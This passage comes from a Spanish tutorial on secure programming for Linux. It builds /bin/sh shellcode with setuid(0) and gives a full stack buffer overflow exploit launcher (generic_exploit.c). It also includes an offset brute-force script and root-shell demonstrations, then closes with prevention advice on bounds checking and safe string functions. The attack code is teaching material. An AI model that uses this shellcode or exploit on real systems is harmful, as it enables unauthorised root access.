alguno). Podemos ver una posible representación de datos antes de la llamada a execve(). Al
construir un arreglo con un apuntador a la cadena /bin/sh seguida por un apuntador NULL , el
registro %ebx apuntará a la cadena, el registro %ecx al arreglo completo, y el registro %edx al
segundo elemento del arreglo (NULL).
Localizando el código shell dentro de la memoria
El código shell generalmente se inserta dentro de un programa vulnerable através de un
argumento de línea de comando, una variable de ambiente o una cadena tecleada. De cualquier
manera, cuande se crea el código shell no se conoce la dirección que usará. Sin embargo,
debemos conocer la dirección de la cadena "/bin/sh". Un pequeño truco nos permite obtenerla.
Cuando se llama a una subrutina con la instrucción call, el CPU almacena la dirección de
regreso en la pila, que es la dirección que sigue inmediatamente a esta insrucción call (ver
arriba). Generalmente el paso siguiente es almacenar el estado de la pila (especialemente el
registro %ebp con la instrucción push %ebp). Para obtener la dirección de regreso al arrancar a
subrutina, basta con sacar el elemento de la cima de la pila mediante la instrucción pop. Por
supuesto, entonces se almacena la cadena "/bin/sh" inmediatamente después de la instrucción
call para permitir que el "prólogo hecho en casa" proporcione la requerida dirección de la
cadena. Es decir :
beginning_of_shellcode:
jmp subroutine_call
subroutine:
popl %esi
...
(Shellcode itself)
...
subroutine_call:
call subroutine
/bin/sh
Por supuesto, la subrutina no es real: la llamada a execve() tiene éxito, y el proceso es
sustituido por un shell, o falla y la función _exit() termina el programa. El registro %esi
proporciona la dirección de la cadena "/bin/sh". Entonces, es suficiente para construir el arreglo
poniéndolo exactamente después de la cadena : su primer elemento (en %esi+8, la longitud de
/bin/sh + un byte null) contiene el valor del registro %esi, y su segundo elemento en %esi+12
una dirección null (32 bit). El código se verá así :
popl %esi
movl %esi, 0x8(%esi)
movl $0x00, 0xc(%esi)
El probema de los bytes null
Con frecuencia las funciones vulnerables con rutinas de manipulación de cadenas como
strcpy(). Para insertar el código en medio de una aplicación destino, el código shell tiene que
copiarse como una cadena. Sin embargo estas rutinas de copiado se detienen tan pronto como
encuentran un caracter null. Por lo que nuestro código no debe contenerlos. Con algunos trucos
estaremos prevenidos de escribir bytes null. Por ejemplo, la instrucción
movl $0x00, 0x0c(%esi)
será sustituida con
xorl %eax, %eax
movl %eax, %0x0c(%esi)
Este ejemplo muestra el uso de un byte null. Sin embargo las traducción de algunas
instrucciones a hexadecimal pueden revelar bytes null. Por ejemplo, para hacer la distinción
entre la llamada a sistema _exit(0) y otras, el valor del registro %eax es 1, como se ve en
0x804d996 <_exit+6>: mov $0x1,%eax
Convertida a decimal, esta cadena se convierte en :
b8 01 00 00 00
mov
$0x1,%eax
Debe evitarse su uso. De hecho, el truco es inicializar el registro %eax con un valor de 0 e
incrementarlo.
Por otro lado, la cadena "/bin/sh" debe terminar con un byte null. Puede escribirse al crear el
código shell, pero, dependiendo del mecanismo usado para insertarlo en un programa, este byte
null puede no estar presente en el final de la aplicación. Es mejor agregar uno de esta manera :
/* movb solamente trabaja sobre un byte */
/* esta instrucción es equivalente a */
/* movb %al, 0x07(%esi) */
movb %eax, 0x07(%esi)
Construyendo el código shell
Ahora ya tenemos todo para crear nuestro código shell :
/* shellcode4.c */
int main()
{
asm("jmp subroutine_call
subrutina:
/* obtenemos la dirección de /bin/sh*/
popl %esi
/* la escribimos como primer elemento del arreglo */
movl %esi,0x8(%esi)
/* escribimos NULL como segundo elemento del arreglo */
xorl %eax,%eax
movl %eax,0xc(%esi)
/* colocamos el byte null al final de la cadena */
movb %eax,0x7(%esi)
/* función execve() */
movb $0xb,%al
/* colocamos en %ebx la cadena que será ejecutada*/
movl %esi, %ebx
/* colocamos en %ecx el arreglo de argumentos*/
leal 0x8(%esi),%ecx
/* colocamos en %edx el ambiente del arreglo*/
leal 0xc(%esi),%edx
/* System-call */
int $0x80
/* Null return code */
xorl %ebx,%ebx
/* _exit() function : %eax = 1 */
movl %ebx,%eax
inc %eax
/* System-call */
int $0x80
subroutine_call:
subroutine_call
.string \"/bin/sh\"
");
}
El código se compila con "gcc -o shellcode4 shellcode4.c". La orden "objdump --disassemble
shellcode4" asegura que nuestro binario no contiene mas bytes null :
08048398 <main>:
8048398: 55
8048399: 89 e5
804839b: eb 1f
<subroutine_call>
0804839d <subroutine>:
804839d: 5e
804839e: 89 76 08
80483a1: 31 c0
80483a3: 89 46 0c
80483a6: 88 46 07
80483a9: b0 0b
80483ab: 89 f3
80483ad: 8d 4e 08
80483b0: 8d 56 0c
80483b3: cd 80
80483b5: 31 db
80483b7: 89 d8
80483b9: 40
80483ba: cd 80
pushl %ebp
movl %esp,%ebp
jmp 80483bc
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0xc(%esi)
movb %al,0x7(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0x80
080483bc <subroutine_call>:
80483bc: e8 dc ff ff ff
call 804839d <subroutine>
80483c1: 2f
das
80483c2: 62 69 6e
boundl 0x6e(%ecx),%ebp
80483c5: 2f
das
80483c6: 73 68
jae 8048430
<_IO_stdin_used+0x14>
80483c8: 00 c9
addb %cl,%cl
80483ca: c3
ret
80483cb: 90
nop
80483cc: 90
nop
80483cd: 90
nop
80483ce: 90
nop
80483cf: 90
nop
Los datos encontrados después de la dirección 80483c1 no representan instrucciones, sino los
caracteres de la cadena "/bin/sh" (en hexadécimal, la secuencia 2f 62 69 6e 2f 73 68 00) y
bytes aleatorios. El código no contiene ceros, excepto el caracter null al final de la cadena en
80483c8.
Ahora, probemos nuestro programa :
$ ./shellcode4
Segmentation fault (core dumped)
$
Ooops! No muy concluyente. Si lo pensamos un poco, podemos ver que el área de memoria
donde se encuentra la función main() (i.e. el área text mencionada al comienzo de este
artículo) es read-only. El código shell no puede modificarlo ¿Qué podemos hacer ahora para
probar nuestro código shell?
Para salvar el problema read-only, debe colocarse el código shell en un área de datos.
Pongámoslo en un arreglo declarado como una variable global. Debemos usar otro truco para
poder ejecutar el código shell. Sustituyamos la dirección de regreso de la función main() que
se encuentra en la pila con la dirección del arreglo que contiene el código shell. No olvidemos
que la función main es una rutina "standard", llamada por pedazos de código que el ligador
agrega. La dirección de retorno se sobreescribe al escribir el arreglo de caracteres dos lugares
mas abajo de la primera posición de la pila.
/* shellcode5.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
/* +2 se comportará como un offset de 2 words */
/* (i.e. 8 bytes) en la cima de la pila : */
/* - el primero para la palabra reservada para
la variable local */
/* - el segundo para el registro guardado %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Ahora podemos probar nuestro código shell :
$ cc shellcode5.c -o shellcode5
$ ./shellcode5
bash$ exit
$
Incluso podemos instalar el programa shellcode5 Set-UID root, y checar que el shell arrancado
con la data manejada por este programa, se ejecuta bajo la identidad de root :
$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$
Generalización y últimos detalles
Este código shell esta algo limitado (bueno, ¡No es tan malo para tan pocos bytes!). Por
ejemplo, si nuestro programa de prueba se convierte en :
/* shellcode5bis.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
arreglamos el proceso efectivo de UID a su valor real UID, como lo sugerimos en el artículo
anterior. Esta vez, el shell se corre sin privilegios específicos :
$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$
Sin embargo, las instrucciones seteuid(getuid()) no son una protección muy efectiva.
Solamente se necesita insertar la llamada equivaente setuid(0); al inicio del código shell para
obtener los derechos ligados a una EUID inicial para una aplicación S-UID.
Este código de instrucción es :
char setuid[] =
"\x31\xc0"
"\x31\xdb"
"\xb0\x17"
"\xcd\x80";
/* xorl %eax, %eax */
/* xorl %ebx, %ebx */
/* movb $0x17, %al */
Integrándolo al código shell anterior, el ejemplo se convierte en :
/* shellcode6.c */
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int * ret;
seteuid(getuid());
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
Veamos cómo trabaja :
$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$
Como se muestra en este ejemplo, es posible agregar funciones a un código shell, por ejemplo
para dejar el directorio impuesto por la función chroot() o para abrir un shell remoto usando un
socket.
Tales cambios parecen implicar que se puede adaptar el valor de algunos bytes en el código
shell de acuerdo con su uso :
eb XX
<subroutine>:
5e
89 76 XX
31 c0
89 46 XX
88 46 XX
b0 0b
89 f3
8d 4e XX
8d 56 XX
cd 80
31 db
89 d8
40
cd 80
<subroutine_call>:
<subroutine_call> XX = número de bytes para alcanzar <subroutine_call>
popl %esi
movl
%esi,XX(%esi)
xorl %eax,%eax
movb
%eax,XX(%esi)
movb
%al,XX(%esi)
movb $0xb,%al
movl %esi,%ebx
leal
XX(%esi),%ecx
leal
XX(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0x80
XX = posición del primer elemento en el arreglo de
argumentos (i.e. la dirección de la orden). Este offset es
igual al número de caracteres en la orden, incluido '\0'.
XX = posición del segundo elemento en el arreglo , aquí,
conteniendo un valor NULL.
XX = posición del final de la cadena '\0'.
XX = offset para alcanzar el primer elemento en el
arreglo de argumentos y ponerlo en el registro %ecx
XX = offset para alcanzar el segundo elemento en el
arreglo de argumentosy ponerlo en el registro %edx
estos 4 bytes corresponden al número de bytes para
e8 XX XX XX
call <subroutine> alcanzar<subroutine> (número negativo, escrito en little
XX
endian)
Conclusión
Escribimos un programa de aproximadamente 40 bytes y permite correr cualquier orden
externa como root. Nuestros últimos ejemplos muestran algunas ideas acerca de cómo hacer
pedazos una pila. En el siguiente artículo habrán más detalles de este mecanismo ..
PARTE III - Desbordamiento de búfer
En la sección anterior se escribió un pequeño programa de unos 50 bytes y éramos capaces de
arrancar una shell o salir en caso de fallo. Ahora debemos insertar este código dentro de la
aplicación que queremos atacar. Esto se hace sobreescribiendo la dirección de retorno de una
función y sustituyéndola por nuestra dirección del código de shell. Esto se hace forzando el
desbordamiento de una variable automática alojada en la pila de proceso.
Por ejemplo, en el siguiente programa, se copia la cadena dada como primer argumento en la
línea de comandos a un búfer de 500 bytes. Esta copia se realiza sin comprobar si es más
grande que el tamaño del búfer. Como veremos, utilizar la función strncpy() nos permite evitar
este problema.
/* vulnerable.c */
#include <string.h>
int main(int argc, char * argv [])
{
char buffer [500];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
buffer es una variable automática, el espacio utilizado por los 500 bytes es reservado en la pila
tan pronto como se arranca el programa. Con un argumento mayor que 500 bytes, los datos
desbordan el búfer e "invaden" la pila de proceso. Como ya se ha visto con anterioridad, la pila
almacena la dirección de la siguiente instrucción a ejecutar (aka return address). Para explotar
este agujero de seguridad, es suficiente reemplazar la dirección de retorno de la función por la
dirección del código de shell que se desea ejecutar. Este código shell se inserta dentro del búfer
seguido de su dirección de memoria.
Posicion en memoria
Obtener la dirección de memoria del código shell tiene su truco. Debemos descubrir el
desplazamiento entre el registro %esp apuntando a la primera posición de la pila y la dirección
del código shell. Para disponer de un margen de seguridad, el comienzo del búfer se rellena con
la instrucción de ensamblador NOP; es una instrucción neutra de un único byte que no tiene
ningún efecto en absoluto. En consecuencia, arrancando puntos de memoria anteriores al
verdadero comienzo del código de shell, la CPU ejecuta NOP tras NOP hasta que alcanza
nuestro código. Para tener más posibilidades, ponemos el código de la shell en medio del búfer,
seguido de la dirección de comiendo repetida hasta el final y precedido de un bloque NOP. El
diagrama 1 ilustra todo esto:
Diag. 1 : buffer especially filled up for the exploit.
El diagrama 2 describe el estado de la pila antes y después del desbordamiento. Esto provoca
que toda la información guardada (%ebp guardado, %eip guardado, argumentos,...) se
reemplace por la nueva dirección de retorno esperada: la dirección de comienzo de la parte del
búfer donde hemos colocado el shellcode.
Antes
Después
Diag. 2 : estado de la pila antes y después del desbordamiento
Sin embargo, existe otro problema relacionado con la alineación en memoria. Una dirección es
más larga que 1 byte y por consiguiente se almacena en varios bytes. Esto puede causar que la
alineación dentro de la memoria no siempre se ajuste correctamente. Por ensayo y error se
encuentra el alineamiento correcto. Ya que nuestra CPU utiliza palabras de 4 bytes, la
alineación es 0, 1, 2 o 3 bytes (ver el articulo 183 sobre organización de la pila). En el diagrama
3, las partes sombreadas corresponden a los 4 bytes escritos. El primer caso donde la dirección
de retorno es sobreescrita completamente con la alineación correcta es la única que funcionará.
Los otros conducen a errores de violación de segmento o instrucción ilegal. Esta forma
empírica de encontrar funciona desde que la potencia de los ordenadores actuales permiten
realizar este testeo.
Diag. 3 : possible alignment with 4 bytes words
Programa para lanzar la aplicación
Vamos a escribir un pequeño programa para lanzar una aplicación vulnerable escribiendo datos
que desborden la pila. Este programa tiene varias opciones para posicionar el código de shell en
memoria y así elegir que programa ejecutar. Esta versión, inspirada por el artículo de Aleph
One del número 49 de la revista phrack, está disponible en el website de Christophe Grenier.
¿Cómo enviamos nuestro búfer preparado a la aplicación de destino? Normalmente, se puede
utilizar un parámetro de línea de comandos como el de vulnerable.c o una variable de entorno.
El desbordamiento también se puede provocar tecleando en los datos o simplemente leyéndolo
desde un fichero.
El programa generic_exploit.c arranca reservando el tamaño correcto de búfer, después copia
ahí el shellcode y lo rellena con las direcciones y códigos NOP como se explica anteriormente.
Entonces prepara un array de argumentos y ejecuta la aplicación utilizando la instrucción
execve(), esta última sustituyendo al proceso actual por el invocado. El programa
generic_exploit necesita el tamaño del búfer a explotar (un poco mayor que su tamaño para ser
capaz de sobreescribir la dirección de retorno), el offset en memoria y la alineación. Nosotros
indicamos si el búfer es pasado como una variable de entorno (var) o desde la línea de
comandos (novar). El argumento force/noforce determina si la llamada ejecuta la función
setuid()/setgid() desde el código de shell.
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR
4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG
8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar)
(force/noforce) prog2run target param\n", argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31;
/* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31;
/* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3;
/* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7;
/* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0;
/* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd;
/* int $0x80
*/
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31;
/* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31;
/* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3;
/* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7;
/* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0;
/* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd;
/* int $0x80
*/
*(ptr++)= 0x80;
}
}
/* Patch shellcode */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* Copy prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
Para aprovechar vulnerable.c, debemos tener un búffer mayor que el que espera la aplicación.
Por ejemplo, seleccionamos 600 bytes en lugar de los 500 esperados. Se halla el
desplazamiento relativo a la parte superior de la pila por medio de sucesivos tests. La dirección
construida con la instrucción addr = get_sp() + offset; se utiliza para sobreescribir la dirección
de retorno, lo conseguirán ... ¡con un poco de suerte! La operación se basa en la probabilidad de
que el registro %esp no se moverá mucho mientras se ejecuta el actual proceso y el llamado al
final del programa. Prácticamente nada es seguro: varios eventos pueden modificar el estado de
la pila desde el tiempo de computación hasta que el programa a explotar es llamado. Aquí,
nosotros logramos activar un desbordamiento explotable con un desplazamiento de -1900
bytes. Por supuesto, para completar el experimento, el destino vulnerable debe tener un SerUID root.
$ cc vulnerable.c -o vulnerable
$ cc generic_exploit.c -o generic_exploit
$ su
Password:
# chown root.root vulnerable
# chmod u+s vulnerable
# exit
$ ls -l vulnerable
-rws--x--x 1 root root
11732 Dec 5 15:50 vulnerable
$ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
bsize 600, offset -1900
Using address: 0lxbffffe54
Shellcode will start /bin/sh
bash# id
uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
bash# exit
$ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
bsize 600, offset -1900
Using address: 0lxbffffe64
uid 0
Shellcode will start /bin/sh
bash# id
uid=0(root) gid=100(users) groups=100(users)
bash# exit
En el primer caso (noforce), nuestro uid no cambia. Sin embargo, tenemos un nuevo euid que
nos proporciona todos los permisos. En consecuencia, incluso si CODE>vi dice mientras edita
/etc/passwd que es de sólo lectura, aún podemos escribir el fichero y todos los cambios
funcionarán: únicamente hay que forzar la escritura con w! :) El parámetro force permite
uid=euid=0 desde el principio.
Para encontrar automáticamente los valores de desplazamiento para un desbordamiento se
puede utilizar el siguiente script de shell:
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
En nuestro exploit, no tuvimos en cuenta los posibles problemas de alineación. Entonces, es
posible que este ejemplo no les funcione con los mismos valores, o no funcione en absoluto
debido a la alineación. (Para aquellos que quieran probarlo de todas maneras, el parámetro de
alineación debe ser cambiado a 1, 2 o 3 (aquí, 0). Algunos sistemas no aceptan la escritura en
áreas de memoria si no se trata de una palabra entera, pero esto no es así en Linux.
Problemas de shell(s)
Por desgracia, a veces la shell obtenida no es utilizable porque termina por sí misma o al pulsar
una tecla. Nosotros utilizamos otro programa para mantener los privilegios que hemos
adquirido tan cuidadosamente:
/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
int main()
{
chown ("/tmp/run_shell", geteuid(), getegid());
chmod ("/tmp/run_shell", 06755);
return 0;
}
Ya que nuestro exploit sólo es capaz de realizar una tarea simultáneamente, vamos a transferir
los derechos obtenidos a través del programa run_shell con ayuda del programa set_run_shell.
De esta manera se consigue la shell deseada.
/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
setuid(geteuid());
setgid(getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);
}
La opción -i corresponde a interactive. ¿Por qué no dar los permisos directamente a una shell?
Simplemente porque el bit s no está disponible para todas las shell. La versiones recientes
comprueban que uid sea igual a euid, al igual que para gid y egid. En consecuencia, bash2 and
tcsh incorporan esta línea de defensa, pero ni bash, ni CODE>ash la tienen. Este método
debería ser refinado cuando la partición en la que se coloca run_shell (aquí, /tmp) es montada
nosuid o noexec.
Prevención
Ya que tenemos un programa Set-UID con un bug de desbordamiento de buffer y su código
fuente, somos capaces de preparar un ataque permitiendo la ejecución de código aleatorio bajo
el ID del propietario del fichero. De todas maneras, nuestro objetivo es evitar agujeros de
seguridad. Ahora vamos a revisar unas cuantas reglas para prevenir los desbordamientos de
búfer.
Comprobando índices
La primera regla a seguir es simplemente cuestión de sentido común: los índices utilizados para
manipular un array siempre debe ser comprobado cuidadosamente. Un bucle "tonto" como:
for (i = 0; i <= n; i ++) {
table [i] = ...
Probablemente produce un error por el signo <= en lugar de CODE>< ya que se hace un acceso
hacia el final del array. Si es sencillo verlo en ese bucle, es más complicado con un bucle que
utiliza índices en decremento ya que se deberían asegurar de que no toman valores inferiores a
cero. Aparte del caso trivial de for(i=0; i<n ; i++), deben comprobar el algoritmo varias veces
(o incluso pedir a alguien más que lo compruebe por usted), especialmente al llegar a los
extremos del bucle.
El mismo tipo de problema aparece con las cadenas de caracteres: siempre deben recordar
añadir un byte adicional para el carácter nulo final. Un de los errores más frecuentes en
principiantes consiste en olvidar el carácter de fin de cadena. Peor aún, es muy complicado de
diagnosticar debido a que los imprevisibles alineamientos variables (por ejemplo compilar con
información de debug) pueden ocultar el problema.
No se deben subestimar los índices de un array como amenaza a la seguridad de una aplicación.
Hemos visto (ver nº55 de Phrack) que un desbordamiento de un único byte es suficiente para
crear un agujero de seguridad, por ejemplo, insertando código shell en una variable de entorno.
#define BUFFER_SIZE 128
void foo(void) {
char buffer[BUFFER_SIZE+1];
/* end of string */
buffer[BUFFER_SIZE] = '\0';
for (i = 0; i<BUFFER_SIZE; i++)
buffer[i] = ...
}
Utilizando funciones n
Por convenio, las funciones de la librería estándar de C son conscientes del fin de una cadena
de caracteres por el byte nulo. Por ejemplo, la función strcpy(3) copia el contenido de la cadena
original en una cadena destino hasta que llega a este byte nulo. En algunos casos, este
comportamiento se vuelve peligroso; hemos visto que el siguiente código tiene un agujero de
seguridad:
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT];
strcpy (identity, name);
...
}
Funciones que limitan la longitud de la copia evitan este problema. Estas funciones tienen una
`n' en la mitad de su nombre, por ejemplo, strncpy(3) en sustitución a strcpy(3), strncat(3) por
strcat(3) o incluso strnlen(3) por strlen(3).
Sin embargo, se debe tener precauciones con la limitación strncpy(3) ya que genera efectos
colaterales: cuando la cadena origen es más corta que la de destino, la copia se completará con
caracteres nulos hasta el límite n y reducirá la eficiencia de la aplicación. Por otro lado, si la
cadena origen es más lasga, se truncará y la copia no terminará en un caracter nulo. Se deberá
añadir manualmente. Teniendo esto en cuenta, la rutina anterior se convierte en:
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT+1];
strncpy (identity, name, LG_IDENT);
identity [LG_IDENT] = '\0';
...
}
Naturalmente, los mismos principios se aplican a rutinas que manipulan muchos caracteres, por
ejemplo, wcsncpy(3) debería preferirse a wcscpy(3) o wcsncat(3) a wcscat(3). Seguramente, el
programa se haga más grande pero también mejora la seguridad.
Como strcpy(), strcat(3) no comprueba el tamaño de bufer. La función strncat(3) añade un
carácter al final de la cadena si encuentra espacio para hacerlo. Sustituyendo strcat(buffer1,
buffer2); por strncat(buffer1, buffer2, sizeof(buffer1)-1); se elimina el riesgo.
La función sprintf() permite formatear datos en una cadena. También tiene una versión que
puede comprobar el número de bytes a copiar: snprintf(). Esta función devuelve el número de
caracteres escritos en una cadena destino (sin tener en cuenta el '\0'). Testeando este valor
devuelto se sabe si la escritura se ha realizado correctamente:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* Overflow */
...
}
Obviamente, esto no merece la pena cuando el usuario toma el control sobre el número de bytes
a copiar. Un agujero similar en BIND (Berkeley Internet Name Daemon) mantuvo ocupados a
muchos crackers:
struct hosten *hp;
unsigned long address;
...
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
Esto debería copiar siempre 4 bytes. Sin embargo, si usted puede cambiar hp->h_length,
entonces también puede modificar la pila. De acuerdo con esto, es obligatorio comprobar la
longitud de los campos antes de copiar:
struct hosten *hp;
unsigned long address;
...
/* test */
if (hp->h_length > sizeof(address))
return 0;
/* copy of an address */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
En determinadas circunstancias es imposible truncarlo de esa manera (path, nombre de
máquina, URL... ) y las cosas deben hacerse antes en el programa tan pronto como los datos
son escritos.
Validar los datos en dos pasos
Un programa ejecutándose con privilegios distintos a aquellos de su usuario implica que usted
protege todos sus datos y que considera sospechosos todos los datos entrantes.
En primer lugar, esto afecta a las routinas con una cadena como parámetro de entrada. De
acuerdo con lo que acabamos de decir, no insistiremos en que usted nunca utilice gets(char
*array) ya que nunca comprueba la longitud de la cadena (nota del autor: esta rutina debería ser
prohibida por el editor de enlace para los nuevos programas compilados). Otros peligros
esconde scanf(). La línea
scanf ("%s", string)
es tan peligrosa como gets(char *array), pero no es tan obvio. Pero funciones de la familia de
scanf() ofrecen un mecanismo de control sobre el tamaño de los datos:
char buffer[256];
scanf("%255s", buffer);
Este formateo limita el número de caracteres copiados en buffer hasta 255. Por otro lado,
scanf() pone los caracteres que no le gustan de vuelta en la trama de entrada, por lo que los
riesgos de errores de programación que generan bloqueos son bastante altos.
Utilizando C++, la instrucción cin reeplaza las funciones clásicas utilizadas en C ( aunque se
pueden seguir utilizando). El siguiente programa llena un búfer:
char buffer[500];
cin>>buffer;
Como pueden observar, ¡no hace ningún test! Nos encontramos en una situación similar a
gets(char *array) que se utiliza en C: hay una puerta abierta de par en par. La función miembro
ios::width() permite fijar el número máximo de caracteres a leer.
La lectura de datos requiere dos pasos. Una primera fase consiste en tomar la cadena con
CODE>fgets(char *array, int size, FILE stream), esto limita el tamaño del área utilizada. A
continuación los datos leídos son formateados, por ejemplo con sscanf(). La primera fase puede
hacer más cosas, como insertar automáticamente fgets(char *array, int size, FILE stream) en un
bucle reservando la memoria requerida, sin unos límites arbitrarios. La extensión GNU
getline() lo puede hacer por tí. También es posible incluir la validación de caracteres tecleados
utilizando isalnum(), isprint(), etc. La función strspn() permite un filtrado efectivo. El
programa se vuelve un poco más lento, pero las partes sensibles del código estan protegidas del
datos ilegales con un chaleco antibalas.
El tecleo directo de datos no es el único punto de entrada atacable. Los ficheros de datos del
software son vulnerables, pero el código escrito para leerlos generalmente es más robusto que
el de la entrada por consola, ya que los programadores intuitivamente desconfían del contenido
del fichero proporcionado por el usuario.
Los ataques por desbordamiento de búfer se basan muchas veces en algo más: las cadenas de
entorno. No debemos olvidar que un programador puede configurar completamente un entorno
de proceso antes de lanzarlo. El convenio que dice que una variable de entorno debe ser del tipo
"NAME=VALUE" puede ser explotado por un usuario malintencionado. Utilizar la rutina
getenv() requiere cierta precaución, especialmente cuando se va a devolver la longitud de la
cadena (arbitrariamente larga) y su contenido (donde usted puede encontrar cualquier carácter,
incluido `='). La cadena devuelta con getenv() será tratada como la proporcionada por
fgets(char *array, int size, FILE stream), teniendo en cuenta su longitud y validando cada
carácter.
El uso de estos filtros se hace igual que el acceso al ordenador: ¡por defecto se prohíbe todo! A
continuación se pueden permitir algunas cosas:
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* Getting the data */
